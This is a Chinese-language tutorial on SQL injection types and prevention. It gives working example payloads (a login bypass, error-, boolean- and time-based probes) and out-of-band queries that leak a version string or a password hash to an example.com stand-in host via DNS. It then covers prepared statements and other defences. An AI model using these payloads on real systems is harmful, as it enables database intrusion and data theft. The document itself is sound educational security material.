什么是 SQL 注入,有哪些類型,如何預(yù)防?
SQL注入漏是系統(tǒng)漏洞中一種比較嚴(yán)重的漏洞,如果說數(shù)據(jù)是系統(tǒng)的核心,那么SQL注入就是直插系統(tǒng)核心的漏洞。一直以來SQL注入漏洞就被列入OWASP最常見和影響最廣泛的十大漏洞列表中。
顧名思義,SQL注入漏洞是攻擊者將惡意內(nèi)容注入到SQL語句。
為了充分理解這個(gè)問題,我們首先必須了解服務(wù)器端腳本語言如何處理SQL查詢。
例如:Web應(yīng)用程序中的功能生成了一個(gè)帶有以下SQL語句的字符串:
SELECT * FROM users WHERE username = 'bob' AND password = 'mysecretpw'
這個(gè)SQL語句被傳遞給應(yīng)用程序的一個(gè)函數(shù),該函數(shù)將字符串發(fā)送到數(shù)據(jù)庫,之后SQL在數(shù)據(jù)庫中被解析、執(zhí)行并返回結(jié)果。
我們可以看到這個(gè)SQL包含了一些特殊字符:
- * (星號(hào))是SQL數(shù)據(jù)庫返回所選數(shù)據(jù)庫行的所有列的指令。
- =(等號(hào))是一條用于使SQL數(shù)據(jù)庫僅返回與搜索到的字符串匹配的值指令。
- '(單引號(hào))用于告訴SQL數(shù)據(jù)庫搜索字符串的開始或結(jié)束位置。
在Web應(yīng)用設(shè)計(jì)上,往往需要把SQL中的參數(shù)設(shè)計(jì)成可配置的變量,例如:在執(zhí)行用戶登錄的過程中使用“$user”和“$password”的值進(jìn)行SQL查詢。
SELECT * FROM users WHERE username = '$user' AND password
= '$password'
這時(shí),如果應(yīng)用程序如果沒有對(duì)輸入進(jìn)行處理,攻擊者可以很容易在語句中插入一些特殊的SQL語法,例如:
SELECT * FROM users WHERE username = 'admin'; -- ' AND
password = 'anything'
其中,admin'; -- 就是攻擊者輸入到$user變量的內(nèi)容,其中包含兩個(gè)新的特殊字符。
分號(hào)“;”用于指示SQL解析器當(dāng)前語句已經(jīng)結(jié)束。
雙連字符“--”用于指示SQL解析器該行的其余部分是注釋,不應(yīng)該被執(zhí)行。
通過這個(gè)SQL注入,攻擊者有效地刪除了密碼驗(yàn)證,并返回admin用戶的數(shù)據(jù)。最終導(dǎo)致攻擊者可以使用管理員帳戶登錄,而無需指定密碼。
SQL注入漏洞的影響
利用SQL注入,攻擊者可以做很多事情,比如:
- 添加、刪除、編輯或讀取數(shù)據(jù)庫中的內(nèi)容。
- 從數(shù)據(jù)庫服務(wù)器上的文件讀取源代碼。
- 將文件寫入數(shù)據(jù)庫服務(wù)器。
除此之外,甚至可能完全接管數(shù)據(jù)庫和Web服務(wù)器。
常見的SQL注入類型
攻擊者可以通過各種方式利用SQL注入漏洞從服務(wù)器中竊取數(shù)據(jù)。常見的方法包括基于錯(cuò)誤、基于條件(真/假)和基于時(shí)間等方式來檢索數(shù)據(jù)。
(1) 基于錯(cuò)誤的SQL注入
利用基于錯(cuò)誤的SQL注入漏洞,攻擊者可以從可見的數(shù)據(jù)庫錯(cuò)誤中檢索表名和內(nèi)容等信息。
例如:
http://localhost:8080/index.php?id=1+and(select 1 FROM(select count(*),concat((select (select concat(database())) FROM information_schema.tables LIMIT 0,1),floor(rand(0)*2))x FROM information_schema.tables GROUP BY x)a)
這個(gè)請(qǐng)求會(huì)返回一個(gè)錯(cuò)誤:
Duplicate entry 'database1' for key 'group_key'
因此,在生產(chǎn)系統(tǒng)上禁用錯(cuò)誤消息有助于防止攻擊者收集此類信息。
(2) 基于布爾的SQL注入
當(dāng)SQL查詢失敗時(shí),頁面上沒有可見的錯(cuò)誤消息,使得攻擊者難以從應(yīng)用程序中獲取到信息。但是,仔細(xì)觀察頁面,仍然可以判斷是可以攻擊并提取信息,當(dāng)SQL查詢失敗時(shí),有時(shí)網(wǎng)頁的某些部分會(huì)消失、改變或者整個(gè)網(wǎng)站無法加載。這些預(yù)示著,輸入的參數(shù)可以用來攻擊網(wǎng)站,或者提取數(shù)據(jù)。
例如:
攻擊者可以通過在SQL查詢中插入條件來測(cè)試:
http://localhost:8080/index?id=1+AND+1=1
如果頁面可以正常加載,則可能表明它易受SQL注入攻擊??梢钥隙ǖ氖牵粽咄ǔ?huì)嘗試使用以下方法來觸發(fā)錯(cuò)誤結(jié)果:
http://localhost:8080/index?id=1+AND+1=2
由于條件為false,如果沒有返回任何結(jié)果或頁面無法正常工作(例如,缺少文本或顯示白色頁面),則可能表明該頁面容易受到SQL注入的攻擊。
下面是如何以這種方式提取數(shù)據(jù)的示例:
http://localhost:8080/index?id=1+AND+IF(version()+LIKE+'5%',true,false)
通過這個(gè)請(qǐng)求,如果數(shù)據(jù)庫版本為5.x,則頁面應(yīng)該會(huì)照常加載。但是,如果數(shù)據(jù)庫版本不同,它的結(jié)果會(huì)有所不同,例如顯示一個(gè)空頁面或者一些空白內(nèi)容,這也表明它是否容易受到SQL注入的攻擊。
(3) 基于時(shí)間的SQL注入
在某些情況下,即使SQL查詢對(duì)頁面的輸出沒有任何明顯的影響,仍然可以從底層數(shù)據(jù)庫中提取信息。
黑客可以通過數(shù)據(jù)庫的響應(yīng)等待時(shí)間來進(jìn)一步確定。一般情況下如果頁面快速加載,那么一般不容易受到攻擊;如果加載時(shí)間將比平時(shí)長,那么它可能比較容易受到攻擊。在檢測(cè)是否有漏洞時(shí),SQL語法可能采用類似基于布爾的SQL注入漏洞中使用的語法。但是可以額外設(shè)置一個(gè)可測(cè)量的睡眠時(shí)間,IF函數(shù)z中的“true” 替換為“sleep(3),指示數(shù)據(jù)庫睡眠三秒:
http://localhost:8080/index?id=1+AND+IF(version()+LIKE+'5%',sleep(3),false)
如果頁面加載的時(shí)間比通常要長,則可以判斷數(shù)據(jù)庫版本為5.x。
(4) 帶外SQL注入漏洞
攻擊者從數(shù)據(jù)庫中檢索信息的主要方法是使用帶外SQL注入技術(shù)。這種類型的攻擊通常的做法是將數(shù)據(jù)直接從數(shù)據(jù)庫服務(wù)器發(fā)送到由攻擊者控制的機(jī)器。
例如:
http://localhost:8080/index?id=1+AND+(SELECT+LOAD_FILE(concat('\\\\',(SELECT @@version),'example.com\\')))
或者
http://localhost:8080/index?query=declare @pass nvarchar(100);SELECT @pass=(SELECT TOP 1 password_hash FROM users);exec('xp_fileexist ''\\' + @pass + '.example.com\c$\boot.ini''')
在這些請(qǐng)求中,攻擊者通過執(zhí)行SQL使得數(shù)據(jù)庫向可控的服務(wù)器發(fā)出DNS請(qǐng)求,這意味著攻擊者不需要直接看到注入SQL的執(zhí)行結(jié)果,而是可以通過可控制的服務(wù)器查看到數(shù)據(jù)庫服務(wù)器發(fā)送的DNS請(qǐng)求。
(5) 其他類型
SQL注入的類型和方式也隨著數(shù)據(jù)庫和應(yīng)用開發(fā)技術(shù)的發(fā)展不斷變化,除了以上注入類型之外,還有許多,例如:
分類 | 描述 |
基于錯(cuò)誤的SQL注入 | 利用應(yīng)用程序生成的SQL錯(cuò)誤信息推斷數(shù)據(jù)庫結(jié)構(gòu)。 |
聯(lián)合查詢SQL注入 | 使用UNION操作符將惡意查詢與合法查詢聯(lián)合,獲取敏感數(shù)據(jù)。 |
盲注(Blind SQL Injection) | 數(shù)據(jù)庫錯(cuò)誤信息不回顯,攻擊者通過布爾判斷或時(shí)間延遲來獲取數(shù)據(jù)。 |
基于時(shí)間的盲注 | 利用數(shù)據(jù)庫響應(yīng)時(shí)間的差異來推斷數(shù)據(jù)庫信息。 |
基于布爾的盲注 | 通過判斷應(yīng)用程序響應(yīng)的布爾值(真/假)來推斷數(shù)據(jù)。 |
內(nèi)聯(lián)注入(In-band SQL Injection) | 通過應(yīng)用程序的常規(guī)通道(如頁面輸出)直接獲取數(shù)據(jù)。 |
堆疊查詢SQL注入 | 在一個(gè)SQL查詢中執(zhí)行多個(gè)SQL語句,用于繞過安全機(jī)制并執(zhí)行惡意操作。 |
存儲(chǔ)過程SQL注入 | 通過調(diào)用數(shù)據(jù)庫的存儲(chǔ)過程執(zhí)行惡意代碼,通常能獲得高級(jí)權(quán)限。 |
二次注入(Second-order SQL Injection) | 惡意代碼在第一次注入時(shí)未被觸發(fā),而在后續(xù)使用時(shí)被激活。 |
基于文件的SQL注入 | 注入惡意SQL代碼以操作數(shù)據(jù)庫中的文件(如讀取或?qū)懭胛募?br> |
基于HTTP頭的SQL注入 | 攻擊者將惡意SQL代碼嵌入HTTP頭(如User-Agent、Referer),從而注入到SQL查詢中。 |
基于Cookie的SQL注入 | 惡意代碼通過Cookie字段傳遞,應(yīng)用程序未對(duì)Cookie進(jìn)行適當(dāng)?shù)尿?yàn)證。 |
多字節(jié)字符SQL注入 | 利用字符集編碼漏洞,通過多字節(jié)字符構(gòu)造出未預(yù)料的SQL注入。 |
XML查詢注入(XXE) | 攻擊者在處理XML輸入時(shí)注入惡意代碼,以操控?cái)?shù)據(jù)庫查詢。 |
日志注入 | 將惡意SQL代碼寫入應(yīng)用程序日志文件,進(jìn)而在日志分析時(shí)觸發(fā)SQL注入。 |
API接口SQL注入 | 針對(duì)Web API的輸入字段進(jìn)行SQL注入攻擊,通常缺乏詳細(xì)的錯(cuò)誤信息,可能更難檢測(cè)。 |
第三方插件或模塊SQL注入 | 第三方插件、庫或模塊中存在SQL注入漏洞,影響整個(gè)應(yīng)用程序的安全性。 |
組合型SQL注入 | 結(jié)合多種注入方式,如基于錯(cuò)誤注入與盲注結(jié)合,增加攻擊成功的可能性。 |
跨數(shù)據(jù)庫SQL注入 | 在多個(gè)不同數(shù)據(jù)庫平臺(tái)之間利用注入漏洞,通過一種數(shù)據(jù)庫的弱點(diǎn)入侵其他數(shù)據(jù)庫。 |
遠(yuǎn)程代碼執(zhí)行(RCE) | 利用SQL注入在數(shù)據(jù)庫服務(wù)器上執(zhí)行任意代碼,可能導(dǎo)致系統(tǒng)完全控制。 |
DNS注入 | 將SQL注入與DNS查詢結(jié)合,導(dǎo)致數(shù)據(jù)外泄。 |
如何防止SQL注入
在應(yīng)用程序服務(wù)端,并沒有什么好的辦法確定SQL查詢語句是否被惡意注入。所能做的就是向數(shù)據(jù)庫服務(wù)器發(fā)送一個(gè)SQL字符串,然后等待數(shù)據(jù)庫解釋并返回。
但是有一個(gè)辦法就是構(gòu)建預(yù)處理SQL語句,之后執(zhí)行SQL,并向其傳輸變量,這些變量的內(nèi)容在被執(zhí)行之前可以被格式化,這個(gè)有點(diǎn)像printf函數(shù)。
例如:
構(gòu)建預(yù)處理
$stmt = $dbh->prepare("SELECT * FROM users WHERE USERNAME = ? AND PASSWORD = ?");
執(zhí)行:;
$stmt->execute(array($username, $password));
為了預(yù)防SQL注入,除了在開發(fā)階段進(jìn)行規(guī)范之外,還可以在一些外部進(jìn)行預(yù)防,例如:
- 更新中間件和數(shù)據(jù)庫服務(wù)器,例如SSH、OpenSSL、Postfix,甚至操作系統(tǒng)本身。
- 在Web服務(wù)器層面別阻止一些不規(guī)范的URL。
- 在數(shù)據(jù)庫層面,設(shè)置保護(hù)數(shù)據(jù)庫的權(quán)限。
- 將敏感、機(jī)密數(shù)據(jù)進(jìn)行分庫隔離存儲(chǔ)。
- 使用入侵檢測(cè)系統(tǒng)、防火墻等,在攻擊Web應(yīng)用程序之前分析HTTP請(qǐng)求。